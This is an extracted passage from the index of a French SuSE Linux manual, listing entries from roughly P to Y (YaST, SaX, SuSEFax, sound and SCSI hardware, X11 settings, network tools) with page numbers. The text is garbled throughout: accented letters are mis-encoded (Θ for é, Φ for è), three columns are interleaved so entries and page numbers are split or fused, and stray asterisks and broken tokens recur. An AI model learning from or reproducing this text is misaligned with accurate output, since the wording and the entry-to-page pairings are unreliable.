Pro Audio Spectrum 16 . . 381 158 rpm . . . . . . . . . . . . .*
* . . 415, 525
ProblΦmes RΘseau Θtendu . . . . . . . . . . 524 rpm . . . . . . . . . . . . . . *
*. . . . . . 420
PremiΦre installation . . . . 59 RΘseau local . . . . . . . . . . . . 524 RPM . . . . . . . . . . . . . .*
* 415, 525
Proc . . . . . . . . . . . . . . . . . . . 523 RΘsolution de l'Θcran . . . . 262 Base de donnΘes . . . . . . *
*461
ProcΘdure d'amorτage . . . 117 radius . . . . . . . . . . . . . . . . . . 458 RPM (rpm )
Processeur . . . . . . . . . . . . . . 523 Radius . . . . . . . . . . . . . . . . . 458 rpmorig . . . . . . . . . . *
*. . . 415
Cyrix 686 . . . . . . . . . . . . . 38 RAM . . . . . voir MΘmoire, 523 rpmsave . . . . . . . . . . *
*. . . 415
Processus . . . . . . . . . . . . . . . 523 RAMDAC . . . . . . . . . . . . . . 254 run_ldconfig . . . . . . . . . *
*415
procmail . . . . . . . . . . . . . . . 207 rawip . . . . . . . . . 180, 181, 184 Runlevel . . . . . . . . . . . *
*. . . . 525
Programmation rawip-HDLC . . . . . . . . . . . 180 rwhod . . . . . . . . . . . . . *
*. . . . . 457
Fichiers core . . . . . . . . . . 496 rawrite . . . . . . . . . . . . . . . . . . 58 rxvt . . . . . . . . . . . . . .*
* . . . . . . 190
Programme . voir Application, rawrite.exe . . . . . . . . . . . . . . . 58
523 rc . . . . . . . . . . . . . . . . . . . . . . 447S
Appel . . . . . . . . . . . . . . . . 483 /etc/rc.config . . . . . . . 450 S.u.S.E. . . . . . . . . . . vo*
*ir SuSE
Compiler . . . . . . . . . . . . . 419 rc.config . . . . . . . . . . . . . 451 SΘcuritΘ . . . . . . . . . . . .*
* . . . . 465__
Programme d'Θmulation de rcp.ugidd . . . . . . . . . . . . . . . 457 Firewall . . . . . . . . . . *
*. . . . 201
terminal . . . . . . . . . . . . 190 reboot . . . . . . . . . . . . . . . . . . 483 Impression . . . . . . . . .*
* . . 338
Programmes Reboot . . . . . . . . . . . . 370, 460 Pare-feu . . . . . . . . . . *
*. . . . 201
Code source . . . . . . . . . . . 95 Receive queue SΘlection . . . . . . . . . . . *
*. . . . 525
Installer . . . . . . . . . . . . . . 544 SuSEFax . . . . . . . . . . . . . 212 Support d'installation . . . *
*83
Prompt . . . . . . . . . . . . . . . . . 523 Recherche plein texte . . . . 437 SΘlection de la zone horaire . .
PropriΘtΘs du systΦme recode . . . . . . . . . . . . . . . . 341 voir YaST2, sΘlectionner
SuSEFax . . . . . . . . . . . . . 211 reiserfs . . . . . . . . . . . . . . . 91 la zone horaire
ProtΘger les zones d'E/S . 370 Reset . . . . . . . . . . . . . . . . . . 370 SΘlection des sΘries . . . . . .*
* . 95
Protocole . . . . . . . . . . . . . . . 523 resolv.conf . . . . . . . . . . . . . 162 SΘlection du noyau . . . . . . *
*104
Proxy RFC1861 . . . . . . . . . . . . . . . 221 SΘlectionner des logiciels . 36
FTP . . . . . . . . . . . . . . . . . . 459 RFC959 . . . . . . . . . . . . . . . . 221 SΘlectionner des paquetages . .
Gopher . . . . . . . . . . . . . . . 459 Richard Stallman . . . . . . . . 517 36
HTTP . . . . . . . . . . . . . . . . 459 rlogin . . . . . . . . . . . . . . 456, 462 SΘlectionner la disposition du
ps . . . . . . . . . . . . . . . . . . . . . 523Rlogin . . . . . . . . . . . . . . . . . 524 clavier . . . . . . . . .*
* . . . . . 83
*
* 581
Index _________________________________________________________________________________________________________________*
*_______________________________________@
sΘrie SCSI ServerFlags . . . . . . . . . . *
*. . . 260
a 91, 95, 172, 176, 354, 526 Adaptec Serveur . . . . . . . . . . . .*
* . . . . 525
a1 . . . . . . . . . . . . . . . . 96, 318 AHA-152x/151x/1505 . . . FTP . . . . . . . . . . . . .*
* . . . . . 516
ALL . . . . . . . . . . . . . . . . . . . 95 384 Serveur de fax
ap 294, 312, 328, 341, 354, AdvanSys . . . . . . . . . . . . 373 HylaFAX . . . . . . . . . . .*
* . . 221
435, 502 AHA-152x/151x/1505 . 372 Serveur de mail
books . . . . . . . . . . . . . . . . 481 AHA-154x . . . . . . . . . . . 372 Postfix . . . . . . . . . . *
*. . . . . 456
d . . . . . . . . . . . . . . . . . . . . 176 AHA-274x . . . . . . . . . . . 372 Serveur de messagerie . . . 545
D . . . . . . . . . . . . . . . . . . . . 359 AHA-284x . . . . . . . . . . . 372 Serveur de noms . . . 157, 159,
doc . . . . 8~10, 59, 160, 176, AHA-294x . . . . . . . . . . . 372 162, 455
184, 197, 228, 407, 423, AM53/79C974 . . . . . . . . 373 Configuration . . . . . . . .*
* . 107
435, 436 Future Domain . . . 374, 375, Serveur FTP
gra . . . . . 10, 312, 315, 340 384 Mise en place . . . . . . . .*
* . 423
n . . 107, 108, 165, 167, 172, LUN . . . . . . . . . . . . . . . . . 372 Serveur HTTP
176, 197, 208, 209, 221, NCR 5380 . . . . . . . 375, 384 Mise en place . . . . . . . .*
* . 423
227, 354, 412, 435~437, NCR 53c400 . . . . . . . . . . 375 Serveur NFS . . . . . . . . . . *
*. . 167
457, 470, 479 NCR 53C400 . . . . . . . . . 384 Serveur NIS . . . . . . . . . .*
* . . 166
paquetages sources . 95 NCR 53c406a . . . . . . . . . 375 Serveur NNTP . . . . . . . . . .*
* 455
pay . . . . . . . . . . . . . 297, 544 Seagate ST01/02 . . . . . . 375 Serveur Novell
sec . . . . 202, 467, 469, 470, streamers . . . . . . . . . . . . . 371 Emulation . . . . . . . . . .*
* . . 459
472~474, 476, 480, 543 TMC-16x0 . . . . . . . 374, 384 Serveur WWW . . . . . . . . . 5*
*45
sgm . . . . . . . . . . . . . . . . . . 410 TMC-885/950 . . . . . . . . 375 Serveur X . . . . . . . . . . .*
* . . . 525
snd . . . . . . . . . . . . . . . . . . 305 Trantor T128/128F/228 375 Serveurs de noms . . . . . . . *
*156
tex . . . . . . . . . . . . . . . . . . 410 Trantor T130B . . . 375, 384 Service de noms . . . . . . . .*
* 230
x . . . . . . . . . . . 239, 408, 409 scsiinfo . . . . . . . . . . . . . . 312 Service Pro . . . . . . . . . . *
*. . . 561
xap . . . . . . . . . . . . . . . . . . 336 scslog . . . . . . . . . . . . . . . . 474 Services . . . . . . . . . . . .*
* . . . . 563
xsrv . . . . . . . . . . . . 239, 409 scwm . . . . . . . . . . . . . . . . . . . 277setserial . . . . . . . . . . .*
* . 307, 312
xwm . . . . . . . . . . . . . . . . . . 267 Scwm . . . . . . . . . . . . . . . . . . 277 setup . . . . . . . . . . . . . *
*. ii, 51, 57
zq . . . . . . . . . . . . . . . 419, 420 sdb . . . . . . . . . . . . . . . . . . . . 435 Setup . . . . . . 10, 50~52, 57,*
* 58
SΘries SDB . . . . . . . . . . . . . . . . . . . . . 7SETUP . . . . . . . 102, 341, 3*
*42
Index . . . . . . . . . . . . . . . . . 98 sdb_de . . . . . . . . . . . . . . . . 435 setup.exe . . . . . . . . . . . *
*. 62, 142
Recherche . . . . . . . . . . . . . 98 sdb_en . . . . . . . . . . 8, 184, 407 setup.exe . . . . . . . . *
*. . . . . . 10
samba . . . . . . . . . . . . . 108, 413 Seagate ST01/02 . . . . . . . . 375 Setup.exe . . . . . . . . . . .*
* . 50, 51
Samba . . . . . . . . . . . . . 229, 459 secchk . . . . . . . . . . . . . . . . 473 seyon . . . . . . . . . . . . . *
*. 190, 409
Droits d'accΦs . . . . . . . . 231 Secteur d'amorτage . . . . . 118 sgcheck . . . . . . . . . . . .*
* . . . . 312
sane . . . . . . . . . . . . . . . . . . . 312 Section Device . . . . . . . . . . 260 SGML . . . . . . . . . . . . . *
*. . . . 409
SANE . . . . . . . . . . . . . . . . . . 312 Section Files . . . . . . . . . . . . 260 sh . . . . . . . . . . . . . . .*
* . . 518, 534
Sanyo, CD-ROM . . . 382, 391 Section Keyboard . . . . . . . 260 shell . . . . . . . . . . . . .*
* . . . . . . 476
Sauvegarde . . . . . . . . 113, 525 Section Monitor . . . . . . . . . 260 Shell . . . . . . . . . . . . . *
*. . . . . . 525
Sauvegarde de donnΘes . . 113, Section Pointer . . . . . . . . . . 260 SHELL . . . . . . . . . . . . . *
*. . . . . 527
492 Section Screen . . . . . . . . . . 260 shlibs5 . . . . . . . . . . . .*
* . . . 409
sax . . . . . . . . . . . . . . . . . . . . 239secumod . . . . . . . . . . . . . . . 474 shutdown . . . . . . . . . . 44*
*0, 483
sax . . . . . . . . . . . . . . . . . . . . 239 sed . . . . . . . . . . . . . . . . . . . . . . .S4hutdown . . . . . . . . . . *
*. . . . 460
SaX vi, 26, 27, 114, 239~246, Send queue . . . . . . . . . . . . . 218 Siemens . . . . . . . . . . . . *
*. . . . . . 3
248~251, 541 SuSEFax . . . . . . . . . . . . . 211 Signification des commandes .
Scanner . . . . . . . voir MatΘriel, sendfax . . . . . . . . . . . . . . . . 211 494
Scanner sendfax . . . . . . . . . . . . . . . 211 Simple Network Paging
Configuration . . . . . . . . . 100 sendmail . . . . . . 107, 157, 163, Protocol . . . . . . . . .*
* . . . 221
SchΘma . . . . . . voir PCMCIA, 205~207, 412, 456 SINUS Firewall I . . . . . . . .*
* 478
SchΘma sendmail . . . . . . . . . 471, 480 SLIP . . . . . . . . . . . . . .*
* . . . . . 171
SCO-Unix . . . . . . . . . . . . . . 500 Sendmail . . . vi, 205, 408, 443 Smarthost . . . . . . . . . . .*
* . . . 206
Screen . . . . . . . . . . . . . . . . . 260 Configuration . . . . . . . . . 107 SMB . . . . . . . . . . . . . . *
*. . . . . 229
Scripts de dΘmarrage . . . . 163 server.exe . . . . . . . . . . . . . . 119 smbmount . . . . . . . . . . . .*
* . . 413
582
___________________________________________________________________________________________________________________________I*
*ndex__________________
SMC 9194 . . . . . . . . . . . . . . 389 Sony CDU535, CD-ROM . . . . SuSE
SMC Ultra . . . . . . . . . . . . . 388 382, 391 NumΘros de tΘlΘphone . 563
SMP . . . . . . . . . . . . . . 521, 526 Soundblaster 16 . . . . . . . . . 302 Services . . . . . . . . . . *
*. . . . 563
SΘlection du noyau . 38, 104 Sources . . . . . . . . . . . . . . . . . 95 SuSE PRESS . . . . . . . . . . *
*. 229
SMTP . . . . . . . . . . . . . 205, 456 Compiler . . . . . . . . . . . . . 419 SuSEconfig . . x, 40, 115, 158,
snd_au . . . . . . . . . . . . . . . . 305 Souris . . . . . . . . . . . . . . . . . . 453 166, 205, 207, 273, 283,
snd_mod . . . . . . . . . . . . . . . 305 Bus . . . . . . . . . . . . . . . . . . 252 285, 321, 408, 439, 450,
snd_wav . . . . . . . . . . . . . . . 305 Configuration . . . . . . . . . 100 451, 453, 457, 459, 534
SNiFF+ . . . . . . . . . . . . . . . . . 69 HiTablet . . . . . . . . . . . . . . 252 SuSEconfig . . . . . . . . . . .*
* . . 450
SNPP . . . . . . . . . . . . . . . . . . 221 Logitech . . . . . . . . . . . . . 252 SuSEconfig.kdm . . . . . . . . *
*273
so_fr . . . . . . . . . . . . . . . . . . 544 Logitech (MouseMan) . 252 susefax . . . . . . . . . . . 21*
*1, 220
Software AG . . . . . . . . . . . . . . 3 Microsoft . . . . . . . . . . . . . 252 SuSEFax . . . vi, 211__, 211, 21*
*2,
Son . . . . . . . . . . . . . . . . . . . . 542 MM-Serie . . . . . . . . . . . . 252 216, 217, 220, 221
AD1816, chip . . . . . . . . . 392 Mouse Systems . . . . . . . 252 susefax.images
AD1848/CS4248, chip pas d'accΦs possible . . . . 19 SuSEFax . . . . . . . . . . .*
* . . 211
(MSS) . . . . . . . . . . . . . 392 PS/2 . . . . . . . . . . . . . . . . . 252 susefax.phonebook.file
Aztech Sound Galaxy . . 397 Souris bus . . . . . . . . . . . . . . 252 SuSEFax . . . . . . . . . . .*
* . . 211
Chipsets carte son DSP 398 Logitech . . . . . . . . . . . . . 380 susefax.setup.file
Creative Ensoniq 1371, Sous-systΦme Parport . . . . 307 SuSEFax . . . . . . . . . . .*
* . . 211
chipset . . . . . . . . . . . . . 393 sox . . . . . . . . . . . . . . . . . . . . 305 susefax.setup.path
Crystal 423x, chipsets . 393 sp . . . . . . . . . . . . . . . . . . . . . 409 SuSEFax . . . . . . . . . . .*
* . . 211
Ensoniq 1370, chipset . 393 SpΘcifier les systΦmes de susehilf . . . . . 184, 228, 435
Ensoniq SoundScape . . 397 fichiers . . . . . . . . . . . . . . 89 SuSE Linux . . . . . . . . .*
* . . . 423
Gravis Ultrasound . . . . . 393 spindown . . . . . . . . . . . . . . . 329 Disposition du clavier . 443
MAD16 . . . . . . . . . . . . . . 393 Spool Installation . . . . . . . .*
* . . . 429
MediaTrix AudioTrix Pro . . DΘfinition . . . . . . . . . . . . 334 ParticularitΘs . . . . . . . *
*. . . 423
397 squid . . . . . . . . . . . . . . . . . . . 458 SystΦme d'aide . . . . . . . *
*. 435
MPU401 . . . . . . . . . . . . . 394 squid . . . . . . . . . . . . . . . . . . 414 SystΦme de secours . . . . 438
OPL3 . . . . . . . . . . . . . . . . 395 squid2 . . . . . . . . . . . . . . . . 414
OPL3-SA1 . . . . . . . . . . . 395 ssh . . . . . . . 114, 469, 476, 543 susepak . . . . . . . . . . . .*
* . . . 435
OPL3-SAx . . . . . . . . . . . 395 ssh . . . . . . . . . . . 469, 476, 480 susewm . . 110, 265, 277, 278,
OPLx, pilote gΘnΘrique 392 SSH . . . . . . . . . . . . . . . . . . . 515 283
Personal Sound System SSL . . . . . . . . . . . . . . . 470__, 515 Configurer . . . . . . . . . *
*. . . 110
(ECHO ESC614) . . . . 396 Standby . . . . . . . . . . . . . . . . 327 GΘnΘralitΘs . . . . . . . . *
*. . . 282
Pro Audio Spectrum . . . 396 Star Division . . . . . . . . . . . . . . 3 Utilisation . . . . . . . . .*
* . . . 284
S3 Sonic Vibes . . . . . . . . 397 Staroffice . . . . . . . . . . . . . . . . 69 susewm . . . . . . . . . . . . *
*. . . . 282
Sound Blaster et clones 396 StarOffice . . . . . . . . . . 411, 544 susewm . . . . . . . . . . . . *
*. . . . 282
Turtle Beach startx . . . . . . . . . . . . . . 109, 249 SuSEwm . . . . . . vii, 270, 27*
*7,
Classic/Monterey/Tahiti . . Stephan Endra▀ . . . . . . . . . . 12 282~286
394 Streamer . . . . . . voir MatΘriel, Suspend . . . . . . . . . . . . *
*. . . . 327
Turtle Beach Maui et Tropez lecteurs de bandes Swap . . . . . . . . . . . . . .*
* . 89, 526
394 SCSI . . . . . . . . . . . . . . . . . 371 swat . . . . . . . . . . . . . *
*. . . . . . 234
Turtle Beach Maui, Tropez, suid . . . . . . . . . . . . . . . . . . . . 472Sybase . . . . . . . . . . . . .*
* . . . 3, 69
Tropez Plus . . . . . . . . . 398 SunOS . . . . . . . . . . . . . . . . . 500 Syn Flood Protection . . . . 455
Turtle Beach MultiSound . . Super-serveur Internet . . . 475 syncPPP . . . . . . . . . . . 18*
*0, 181
394 Support d'installation . . . . . 83 syslinux . . . . . . . . . . . *
*425, 426
Turtle Beach Pinnacle/Fiji . . Support infrarouge . voir IrDA Syslinux . . . . . . . . . . . .*
* . . . . . 57
394 Suppression SYSLINUX . . . . . . . . . . . *
*. 370
UART401 . . . . . . . . . . . . 397 LILO . . . . . . . . . . . . . . . . 131 syslog . . . . . . . . . . . . .*
* . . . . . 440
UART6850 . . . . . . . . . . . 398 Supprimer Sysrq . . . . . voir Noyau, Sys*
*rq
YMF71x . . . . . . . . . . . . . 395 Linux . . . . . . . . . . . . . . . . 131 SystΦme
Sony CDU31A . . . . . 382, 391 suse . . . . . . . . . . . . . . . . . . . . 271 Contr⌠le . . . . . . . . . . *
*. . . . 336
Sony CDU33A . . . . . 382, 391 SuSE . . . . . . . . . . . . . . . . . . 423 Mise α jour . . . . . . . . *
*. . . 403
*
* 583
Index _________________________________________________________________________________________________________________*
*_______________________________________@
SystΦme CD Live voir System Tampon . . . . . . . . . . . . . . . . 527 Tripwire . . . . . . . . . . . .*
* . . . . 472
Live tar . . . . . . . . . . . . . 73, 413, 443 TSI . . . . . . . . . . . . . . *
*. . 218, 227
SystΦme d'aide . . . . . . . . . . 435 tar . . . . . . . . . . . . . . . . . . . . 413tunelp . . . . . . . . . . . . *
*. . . . . . 334
SystΦme d'impression . . . voir tar . . . . . . . . . . . . . . . . . . . . 492Tux . . . . . . . . . . . . . *
*. . . . . . . . . 7
SystΦme de spool Tartempion S.A.R.L . . . . . . . 7 Type de souris . . . . . . . . *
*. . 252
SystΦme d'urgence . . . . . . 438 Task . . . . . . . . . . . . . . . . . . . 527
SystΦme de fichiers . . . . . . 526 tcl . . . . . . . . . . . . . . . . . . . . 363 U
FHS . . . . . . . . . . . . . . . . . 423 Tcl/Tk . . . . . . . . . . . . . . . . . 412 ugidd . . . . . . . . . . . . .*
* . . . . . 168
ReiserFS . . . . . . . . . . . . . . 90 TCP-Wrapper . . . . . . . . . . . 479 ulimit . . . . . . . . . . .*
* . . . . . 496
vfat . . . . . . . . . . . . . . . . . . . 91tcpd . . . . . . . . . . . . . . . . . . . . 479Ultrastor . . . . . . . . . . .*
* . . . . 368
SystΦme de fichiers Live . voir tcsh . . . . . . . . . . . . . . . 518, 534 UMSDOS . . . . . . . . . . . . .*
* . 527
SystΦme Live te_dvilj . . . . . . . . . . . . . . 340 Universal Serial Bus voir USB
SystΦme de secours . . . . . . 438 Telix . . . . . . . . . . . . . . . . . . . 190 Unix . . . . . . . . . . . . . .*
* . . . . . 481
DΘmarrer . . . . . . . . . . . . . 439 telnet 106, 173, 440, 456, 462, DΘbuts . . . . . . . . . . . *
*. . . . 481
Utilisation . . . . . . . . . . . . 440 476, 535, 543 UNIX . . . . 211, 221, 511, 516,
SystΦme de spool . . . . . . . . 333 Telnet . . . . . . . . . . . . . . . . . . 527 526, 527
apsfilter . . . . . . . . . . . . . . 340 termcap . . . . . . . . . . . . . . . . 442 Unix98 PTY . . . . . . . . . . .*
* . 411
Composants . . . . . . . . . . 335 Terminal . . . . . . . . . . . . . . . 527 updatedb . . . . . . . . . . . *
*. . . . 461
Configuration apsfilter . 341 Test mΘmoire . . . . . . . . . . . 370 URL . . . . . . . . . . . . . . *
*. . . . . 527
DΘmon . . . . . . . . . . . . . . . 337 Tester une machine . . . . . . 433 USB . . . . . . . . . . . . . . *
*. . . . . 308
Files d'impression . . . . . 338 teTeX . . . . . . . . . . . . . 410, 423 USENET . . . . . . . . . . . . .*
* . . 208
Files d'impression apsfilter . Texinfo . . . . . . . . . . . . . . . . . 443 USER . . . . . . . . . . . . . .*
* . . . . . 527
341 texpire . . . . . . . . . . . . . 208, 210 useradd . . . . . . . . . . . .*
* . . . . 112
Filtres . . . . . . . . . . . 338, 339 Text userdel . . . . . . . . . . . . *
*. . . . . 112
Imprimantes rΘseau . . . . 346 Rechercher . . . . . . . . . . . 491 USRobotics . . . . . . . . . . .*
* . . 227
systΦme live . . . . . . . . . . . . . 92 The Open Group . . . . . . . . 239 Utilisateur
SystΦme Live . . . . . . . . . . . 108 The XFree86 Project, Inc. 239 CrΘer . . . . . . . . . . . *
*. . . . . 482
SystΦme multiprocesseur . voir Thinkpad Utilisateurs
SMP, voir SMP PremiΦre installation . . . . 62 uucGestionp ....................*
*........111... . . 443
systΦme X Window . . . . . . 239 tiff . . . . . . . . . . . . . . . . . . . 216 uucp . . . . . . . . . . . . . *
*. . . x, 443
SystΦme X Window . . . 4, voir TIFF Software . . . . . . . . . . 216 UUCP . . . . . . . . . . . . . 2*
*05, 410
X11, 526 tiffg3 . . . . . . . . . . . . . . . . . . . 216
.Xresources . . . . . . . . . . . 287 tin . . . . . . . . . . . . . . . . . . . . . 210V
ParamΦtres de l'utilisateur . . TIS Firewall Toolkit . . . . . 478 VΘrifier . . . . . . . . . . . *
*. . . . . 537
287 tk . . . . . . . . . . . . . . . . . . . . . 363Variable denvironnement
ParamΦtres par dΘfaut . . 286 tkinfo . . . . . . . . . . . . . . . . . . . 9 allowed . . . . . . . . . . *
*. . . 346
ParamΦtres par dΘfaut de tkInfo . . . . . . . . . . . . . . . . . . . . 9 DISPLAY . . . . . . . . . . *
*. . . 525
l'application . . . . . . . 286 Tkinfo (tkinfo ) . . . . . . . . 443 FEATURE . . . . . . . . . . *
*. . . 341
SystΦmes de fichiers TMC-16x0 . . . . . . . . . 374, 384 GS_RESOL . . . . . . . . . . *
*. . 354
dΘterminer . . . . . . . . . . . . . 77 TMC-885/950 . . . . . . . . . . 375 HOME . . 270, 274, 287, 346,
systΦme X Window . . . . . . 259 Token Ring . . . . . . . . . . . . . 389 524, 527
System Commander Deluxe . . top . . . . . . . . . . . . . . . . . . . . 499 KDEDIR . . . . . . . . . . .*
* . . . 272
45 toppp . . . . . . . . . . . . . . . . . . 197 LANG . . . . . . . . . . . . *
*. . . . . 452
System is too big . . . . . . . . 363 Touches de fonction LC_* . . . . . . . . . . . . *
*. . . . . 452
System V . . . . . . . . . . . . . . . 445 Ne fonctionnent pas . . . . 81 MANPATH . . . . . . . . . 414*
*, 527
traceroute . . . . . . . . . . . . . . 413 PATH 6, 199, 270, 272, 475,
T Training . . . . . . . . . . . . . . . . 563 484, 527
T-ISDN-DSL . . . . . . . . . . . 189 Transmission Subscriber PRINTER . . . . . . . . . . *
*. . . 335
TΘlΘcΓble . . . . . . . . . . . . . . . 188 Identification . . . . . . . 218 run_ldconfig . . . . . . . 4*
*15
TΓche . . . . . . . . . . . . . . . . . . 526 Trantor T128/128F/228 . . 375 SHELL . . . . . . . . . . . .*
* . . . . 527
TΓche de fond . . . . . . . . . . . 526 Trantor T130B . . . . . 375, 384 USER . . . . . . . . . . . . *
*. . . . . 527
Table des partitions . . . . . . 118 tripwire . . . . . . . 469, 472, 473 WINDOWMANAGER . 270, 277
Taille de l'installation . . . . . 94 tripwire . . . . . 469, 472, 473 VESA . . . . . . . . . . . . . .*
* . . . . 263
584
___________________________________________________________________________________________________________________________I*
*ndex__________________
VG-AnyLAN . . . . . . . . . . . 388 wvdial vi, 172, 190, 191, 193, Section Monitor . . . . . . .*
* 263
vi . 4, 440, 490, 506, 507, 514 194, 196, 197, 320, 321, Section Screen . . . . . . . *
*. 260
Viren . . . . . . . . . . . . . . . . . . 543 331 Sous-section
virtuoso . . . . . . . . . . . . . . . . . 69 wvdial . . . . . . . . . . . . . . . . 320 Display . . . . . . . . . . .*
* . . . . 262
Virus . . . . . . . . . . . 45, 121, 469 wvdial . . . . . . . . . . . . . . . . 172 Viewport . . . . . . . . . . *
*. . . 262
Visualiseur externe wvdial.lxdialog . . . . . . . . . 193 Virtual . . . . . . . . . . *
*. . . . . 262
SuSEFax . . . . . . . . . . . . . 216 wvdial.tcl . . . . . . . . . . . . . . 193 XF86Setup . . . . 239, 259, 263
VLB . . . . . voir Bus local Vesa XFce . . . . . . . . . . . . . .*
* . . . . . 267
X xfontsel . . . . . . . . . . . *
*. . . . . 288
W X . . . . . . . . . . . . . . . . . voir X11 xformsd . . . . . . . . . . . .*
* . . . 411
w . . . . . . . . . . . . . . . . . . . . . . 498X -probeonly . . . . . . . 257, 259 XFree86TM . . . . . . . . . . *
*. . . 239
Wabi . . . . . . . . . . . . . . . . . . . . 69 X Consortium, Inc. . . . . 4, 239 xfsetup . . . . . . . . . . . .*
* . . . 239
WAN . . . . . . . . . . . . . . 171, 528 X.75 . . . . . . . . . . . . . . . . . . . 180 xglint . . . . . . . . . . . . 4*
*08, 409
WD80x3 . . . . . . . . . . . . . . . 389 X11 . . . . . . . . . . . . . . . . . . . . 239 xinetd . . . . . . . . . . . . *
*. 456, 479
Werner Almesberger . . . . . 138 .Xresources . . . . . . . . . . . 287 xinetd . . . . . . . . . . . . *
*. . . . 479
Western Digital WD80x3 389 Cartes graphiques . . . . . 254 xinfo . . . . . . . . . . . *
*. . . . . . . . . 9
WfW . . . . . . . . . . . . . . . . . . 500 Configuration . . . . 240, 251 XInfo . . . . . . . . . . . . .*
* . . . . . . . 9
wget . . . . . . . . . . . . . . . . . . . 459 Clavier . . . . . . . . . . . . . . . . 252 XInfo (xinfo ) . . . . . . . *
*. . . 443
wget . . . . . . . . . . . . . . . . . . . 419 Moniteur . . . . . . . . . . . . . . 253 xlpq . . . . . . . . . . . . . .*
* . . . . . 336
Wide Area Network voir WAN Serveur X . . . . . . . . . . . . . 254 xlsfonts . . . . . . . . . . . *
*. . . . . 288
Widget . . . . . . . . . . . . . . . . . 286 Souris . . . . . . . . . . . . . . . . . 252 xntp . . . . . . . . . . . . . .*
* . . . . . 459
Wildcards . . . . . . . . . . 488, 528 DΘmarrage trop lent . . . 284 xpmroot . . . . . . . . . . . . *
*. . . . 278
Window . . . . . . . . . . . . . . . . 286 dΘmarrer . . . . . . . . . . . . . 249 xrdb . . . . . . . . . . . . . *
*. . . . . . 288
WindowMaker 267~269, 282, Gestionnaire d'affichage . . . xrpm . . . . . . . . . . . . . .*
* . . . . . 420
283 460 xsetroot . . . . . . . . . . . .*
* 278, 281
Windowmanager Optimisation . . . . . . . . . . 259 xsis . . . . . . . . . . . . . .*
* . . . . . 409
thΘorie de base . . . . . . . . 265 ParamΦtres de l'utilisateur . . xterm . . . . . . . . . 173, 19*
*0, 278
WINDOWMANAGER . . . 270, 277 287 xv . . . . . . . . . . . . . . .*
* . . 278, 279
Windows . . . . . . . . . . 221, 546 Shutdown . . . . . . . . . . . . 460 xvga16 . . . . . . . . . . . . *
*. . . . 239
Samba . . . . . . . . . . . . . . . 459 X11R1 . . . . . . . . . . . . . . . . . 239 xvidtune . . . . . . . . . . . .*
* . . . . 251
SMB . . . . . . . . . . . . . . . . . 229 X11R6 . . . . . . . . . . . . . . . . . 239 Xwrapper . . . . . . . . . . . *
*. . . 408
Windows . . . . . . . . . . . . . . . 229 X11R6.3 . . . . . . . . . . . . . . . 239
Windows NT . . 211, 229, 500, x3dlabs . . . . . . . . . . . . . . . 409 Y
526 xarchie . . . . . . . . . . . . 286, 287 yast
Amorτage . . . . . . . . . . . . 135 xcyrix . . . . . . . . . . . . . . . . 409 ISDN . . . . . . . . . . . .*
* . . . . 176
Gestionnaire d'amorτage . . . xdm . . . . . . . . . . 109, 408, 453 yast . . . . . . . . . . . . *
*. . 6, 43, 81
119 XDM . . . . . 109, 110, 270, 403 YaST . ii, iii, v, 2, 5, 6, 10, *
*15,
Windows 95 xdvi . . . . . . . . . . . . . . . . . . . 481 16, 22, 23, 27~29, 32~43,
Amorτage . . . . . . . . . . . . 134 XDvi . . . . . . . . . . . . . . . . . . 481 45, 48, 56, 64, 68, 75~77,
CrΘer des partitions Linux . . xearth . . . . . . . . . . . . . . . . . . 278 79~84, 86, 88, 93, 95~100,
55, 56 Xenix . . . . . . . . . . . . . . . . . . 500 102, 104~106, 108, 109,
Mode DOS . . . . . . . . . . . . 50 xf86 . . . . . . . . . . . . . . . . . . . 363 111~115, 123, 130, 134,
Windows 98 voir Windows 95 xf86config 239, 251, 257, 259, 140, 153, 154, 156~158,
Windows 9x 263 162, 163, 166, 173, 174,
Menu de dΘmarrage . . . 143 XF86Config . . . . . . . . . . . . 251 176~184, 189~196, 205,
WinFlex . . . . . . . . . . . . . . . . 221 Clocks . . . . . . . . . . . . . . . 262 207, 209, 239, 240, 245,
WinFlex . . . . . . . . . . . . . . . . 221 Depth . . . . . . . . . . . . . . . . 262 270, 273, 277, 284, 285,
WINS . . . . . . . . . . . . . . . . . . 230 Device . . . . . . . . . . . . . . . 261 297, 305, 315, 319~321,
Wrapper modeline . . . . . . . . . . . . . 262 323, 328, 331, 333, 341,
SuSEFax . . . . . . . . . . . . . 211 Modes . . . . . . . . . . . . . . . 262 343, 346, 347, 353~355,
WU-FTPD . . . . . . . . . . . . . 412 Monitor . . . . . . . . . . . . . . 261 360, 405~410, 413,
wuftpd . . . . . . . . . . . . . . . . . 408 Pilote . . . . . . . . . . . . . . . . 261 419~421, 426, 435, 436,
wuftpd . . . . . . . . . . . . . . . . 412 Section Device . . . . . . . . 262 438, 450~453, 455, 468,
*
* 585
Index _________________________________________________________________________________________________________________*
*_______________________________________@
472, 482, 514, 520, Inclure des paquetages . . 98 XFree . . . . . . . . . . . .*
* . . . . 114
531~534, 543, 544 Index de toutes les sΘries et YaST . . . . . . . . . . . . . *
*. . . . . . 81
LILO . . . . . . . . . . . 103, 104 paquetages . . . . . . . . . . 98 YaST1 . . . . . . . . . . . ix, *
*32, 404
Administration . . . . . . . . 100 IntΘgrer le matΘriel . . . . 100 YaST2 i, ix, 15, 17~23, 25, 26,
Configuration de l'amorτage kdm . . . . . . . . . . . . . . . . . 109 28, 326, 404
103 Lecture du fichier fstab 93 IntΘgrer la souris . . . . .*
* . . 19
Configurations . . . . . . 82, 94 Menu principal . . . . . . . . . 82 IntΘgrer le clavier . . . . *
*. . 19
Configurer l'imprimante . . . Mettre α jour le systΦme 100 SΘlection de la zone horaire
101 Noyau d'amorτage . . . . 103 19
Configurer la carte rΘseau . . Partitionner . . . . . . . . . . . . 88 Yellow Pages . . . . . . . . voi*
*r YP
100 Point de montage . . . . . . . 91 YP
Configurer la souris . . . 100 RΘseau . . . . . . . . . . . . . . . 106 Client . . . . . . . . . . . *
*. . . . . 107
Configurer le lecteur de SΘcuritΘ du systΦme . . . 114 Configurer le client . . . . *
*107
CD-ROM . . . . . . . . . . 100 SΘlection des paquetages 95
Configurer le modem . . 100 SΘlection des sΘries . . . . . 95 Nom de domaine . . . . . . 457
Configurer le scanner . . 100 SΘlection du noyau . . . . 104 Serveur . . . . . . . . . . *
*. . . . 457
CrΘer une disquette de SΘlectionner la disposition yp.conf . . . . . . . . . . . . *
*. . . . . 166
secours . . . . . . . . . . . . . 104 du clavier . . . . . . . . . . . 83 ypbind . . . . . . . . . . . . *
*. . . . . 166
DΘterminer la langue . . . 83 Sauvegarde . . . . . . . . . . . 113 ypclient . . . . . . . . . 107,*
* 165
